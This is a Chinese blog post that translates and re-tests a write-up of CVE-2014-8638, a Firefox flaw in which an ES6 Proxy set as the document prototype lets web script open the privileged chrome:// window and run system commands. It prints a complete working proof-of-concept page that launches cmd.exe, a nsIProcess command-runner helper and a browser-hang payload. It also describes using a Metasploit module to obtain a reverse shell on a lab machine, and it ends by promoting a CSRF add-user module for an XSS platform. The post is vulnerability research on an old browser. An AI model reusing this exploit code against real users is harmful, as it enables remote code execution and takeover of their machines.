这是我根据Tod Beardsley在metsaploit上发表的一篇文章,翻译+测试完成的分析,因为最近在研究浏览器漏洞,所以会更加关注浏览器这块。
前段时间,二哥在很多浏览器中将脚本层面的漏洞提升为远程命令执行,几乎日遍市面上所有国产浏览器,这成为了许多人津津乐道的话题。确实,在当今这个底层安全防护越来越强的环境下,堆栈溢出、UAF造成的漏洞利用起来变得很困难,但如果借助浏览器提供的一些脚本层接口做到RCE,将是一个四两拨千金的过程。
CVE-2014-8638就是这样一个漏洞,而且影响到的不是国(shan)产(zhai)浏览器,而是大名鼎鼎的Firefox。它也是javascript逐步进入ECMAScript 6时代后遇到的一个比较有意思的漏洞。
0x01 漏洞的发现
Firefox是较早引入ECMAScript 6特性的浏览器,Proxy(https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy)就是一个ECMAScript 6特性,它可以用来hook javascript原生的get/set方法。比如如下代码:
var x = {}; var p = Proxy(x, { get: function() { console.log('getter called!'); return 'intercepted'; }, set: function() { console.log('setter called!'); } }); console.log(p.foo); p.bar = 1;
执行后将会得到如下结果:
这个方法为javascript注入了新的血液,但也带来了新的安全问题。Getter和Setter将导致我们将没有特权的javascript代码注入到有特权的javascript代码之前,这些代码在后面检查权限的函数之前,所以他们是有特权的。Chrome下也出现过由于这个原因导致的问题:https://code.google.com/p/chromium/issues/detail?id=351787、http://researchcenter.paloaltonetworks.com/2014/12/google-chrome-exploitation-case-study/大家也可以下去自己研究一下。
经过作者的研究,当我们把Proxy对象作为其他对象的prototype时,就会出现一些问题,比如如下代码就能宕掉服务器:
document.__proto__ = Proxy.create({getPropertyDescriptor:function(){ while(1) {} }});
不过除此之外,作者当时并没有想到更好的利用方法,所以就提交到mozilla官方了,firefox在35版本修复了这个问题。
0x02 突破点
作者后来做了如下尝试:
var props = {}; props['has'] = function(){ var chromeWin = open("chrome://browser/content/browser.xul", "x")(); }; document.__proto__ = Proxy.create(props)
惊奇的发现,当我们在Proxy中,尝试打开一个特权页面“chrome://browser/content/browser.xul”的时候,居然只是弹出了“阻止窗口弹出”的提醒。这说明特权页面是可以被轻易打开的,这个提醒也可以通过点击页面的方式绕过。
0x03 chrome:意味着什么
我们能够打开一个域为chrome://browser/content/browser.xul的页面,以为着什么?
火狐和其他很多浏览器一样,都有自己的特权域。不同的URI schemes意味着不同的权限。Chromium的特权域是chrome://downloads,Safari的是file://。Firefox的特权域是chrome://,只要在这个域下的javascript拥有浏览器的最高权限。所以我们能用这样的javascript干很多事,比如执行shell命令。
你可以试着打开chrome://browser/content/browser.xul并在控制台下执行如下代码(linux/osx):
function runCmd(cmd) { var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); var sh = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); sh.initWithPath("/bin/sh"); process.init(sh); var args = ["-c", cmd]; process.run(true, args, args.length); } runCmd("touch /tmp/owned");
执行后,可以发现/tmp/owned已经创建,touch命令执行成功。
所以,一旦攻击者能够将代码注入到这个页面,就可以执行任意命令了。
0x04 注入代码
那么怎么注入代码到这个页面?
众所周知,浏览器同源策略(SOP)将不会允许我们在http://attacker域下注入代码到chrome://browser域下。非常幸运的是,作者以前就做过类似的研究:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/browser/firefox_webidl_injection.rb
当open的第三个参数有传入”chrome”的话,并且在拥有特权的docshell(http://www-archive.mozilla.org/projects/embedding/docshell.html)下调用,那么我们的URL就会以“top-level frame”的形式被打开(形似“首选项”那种页面),并且没有传统的document对象(就是一个白白的面板)。这样的窗口,拥有一个messageManager属性,能够访问其他docshell(特权是通行的~嘿):
// abuse vulnerability to open window in chrome:// var c = new mozRTCPeerConnection; c.createOffer(function(){},function(){ var w = window.open('chrome://browser/content/browser.xul', 'top', 'chrome'); // we can now reference the `messageManager` property of the window's parent alert(w.parent.messageManager) });
messageManager是firefox中的特权API,能够在线程间传递信息。同样,javascript也是可以传递的,方式是使用loadFrameScript函数。
0x05 命令执行
作者其实这块写的特别简略,直接告诉我可以怎样写metasploit exploit,可明明POC都没告诉我呀!!对于我这种没开发过firefox插件、没读过源码的通知简直就……我想到一张操蛋的图:
对,就像这样……
于是我更新了metasploit,生成了一个exploit来研究。得出了如下的POC:
<!doctype html> <html> <body> <script> var opts = {"zqwessa123": "n (function(){var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);var sh = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);sh.initWithPath("C:\\windows\\system32\\cmd.exe");process.init(sh);nvar shell='calc.exe';var args = ["/c", shell];n process.run(true, args, args.length);})();nn"}; var key = opts['zqwessa123']; var props = {}; props.has = function(n){ if (!window.top.x && n=='nodeType') { window.top.x=window.open("chrome://browser/content/browser.xul", "x", "chrome"); if (window.top.x) { Object.setPrototypeOf(document, pro); setTimeout(function(){ x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>'; setTimeout(function(){ x.messageManager.loadFrameScript('data:,'+key, false); setTimeout(function(){ x.close(); },100); }, 100) }, 100); } } } var pro = Object.getPrototypeOf(document); Object.setPrototypeOf(document, Proxy.create(props)); </script> The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected. </body> </html>
过程还是比较简单,首先创建Proxy对象,实现has方法,has方法实际上就是hook了对象的“in”操作,具体可见Proxy文档。然后将document的prototype设置为Proxy对象,这样实际上我们接管了document的in操作,并且这些代码是有特权的。
使用之前讲的方法打开chrome://browser/content/browser.xul,获得了messageManager属性,用data协议构造了一个iframe,并将要执行的javascript代码也以data协议的形式用messageManager. loadFrameScript加载,执行特权API。
注意,因为在docshell中,所以是没有传统的window对象、document对象,所以你调用alert、console等方法是没用的。opts对象中的那一串javascript就是最后执行的特权API,通过process.run执行C:windowsSystem32cmd.exe /c calc.exe,效果是弹出一个小计算器:
一个简单的POC就此诞生了。
然后,不得不说metesploit中的 firefox_proxy_prototype模块,通过这个模块生成的exploit可以直接反弹shell。
虚拟机10.211.55.3上Firefox版本是33,在影响范围内,打开http:// 10.211.55.2:12306/m0EbugSmqwCW1PP ,随意点击一处,即可触发。
主机上等待上线:
这边反弹成功,可以看到,已经拿下10.211.55.3的用户权限shell。
0x06 资料
测试的FF33我在这里下载的:http://dl.pconline.com.cn/html_2/1/104/id=42964&pn=0.html
Windows下的POC:http://mhz.pw/game/firefox/firefox.html
一个小演示:https://www.youtube.com/watch?v=18xCIXkhF-E
还有很多点,作者虽然没在本文说明,但基本都可以从作者文章链接所指向的文章看到。显然作者对浏览器漏洞的研究是一个过程,就像一部动漫,如果你不看前面的部分,这部分内容就可能比较难懂。
相关推荐: emlog全版本CSRF加用户xsser.me模块
前几天写了那个CSRF防御模块,官网回应较少,看来那里鲜有人把安全放在眼中。。今天干脆封装一个CSRF的模块,加入xsser.me这个平台里,方便以后的渗透。如果你的目标或目标的旁站中存在emlog,那么拿下来的几率还是很大的。 &…
请登录后发表评论
注册